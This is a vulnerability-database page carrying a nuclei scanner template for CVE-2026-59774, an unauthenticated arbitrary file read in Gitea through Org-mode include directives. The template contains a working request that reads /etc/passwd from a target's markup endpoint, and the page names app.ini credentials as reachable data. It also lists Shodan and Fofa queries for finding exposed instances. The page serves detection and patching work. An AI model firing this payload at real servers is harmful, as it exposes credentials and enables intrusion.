Lucene search
+L

Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read

🗓️ 30 Oct 2026 02:04:47Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 81 Views

Gitea 1.22.1-1.27.0 allows unauthenticated arbitrary file read via Org-mode include directives in markup endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-59774
24 Oct 202608:30
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-59774
21 Oct 202600:13
–githubexploit
alpinelinux
AlpineLinux
CVE-2026-59774
14 Oct 202614:28
–alpinelinux
bdu_fstec
BDU FSTEC
Gitea Org-mode Handler Unauthenticated Access Code Execution
27 Oct 202600:00
–bdu_fstec
circl
Circl
CVE-2026-59774
4 Aug 202607:54
–circl
cve
CVE
CVE-2026-59774
14 Oct 202614:28
–cve
cvelist
Cvelist
CVE-2026-59774 Gitea Org-mode file disclosure and code execution
14 Oct 202614:28
–cvelist
euvd
EUVD
EUVD-2026-101281
14 Oct 202614:28
–euvd
freebsd
FreeBSD
gitea -- Multiple vulnerabilities
11 Aug 202600:00
–freebsd
nessus
Tenable Nessus
FreeBSD : gitea -- Multiple vulnerabilities (f4af92f7-95ae-11f1-a6f7-b42e991fc52e)
12 Aug 202600:00
–nessus
Rows per page
id: CVE-2026-59774

info:
  name: Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read
  author: ashish-cybersec
  severity: critical
  description: |
    Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.
  impact: |
    Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-6v53-hr58-556r
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-59774
    epss-score: 0.28308
    epss-percentile: 0.98114
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: go-gitea
    product: gitea
    shodan-query: http.title:"Gitea"
    fofa-query: title="Gitea"
  tags: cve,cve2026,gitea,lfi,traversal,markup,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search?limit=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"full_name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: reponame
        json:
          - '.data[0].full_name'
        internal: true

  - raw:
      - |
        POST /{{reponame}}/markup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=file&file_path=a.org&text=%23%2BINCLUDE%3A%20%22%2Fetc%2Fpasswd%22%20src%20shell

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "chroma language-bash"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ac601856b54112f24e4e69901cf79e8c24a059eb9ed0e7c4af93958ea5787c370220549bcc93ff8b1603b310814f57acaaef13d7136057db81748934f6804ea5b3a4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 11:31Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.28308
SSVC
81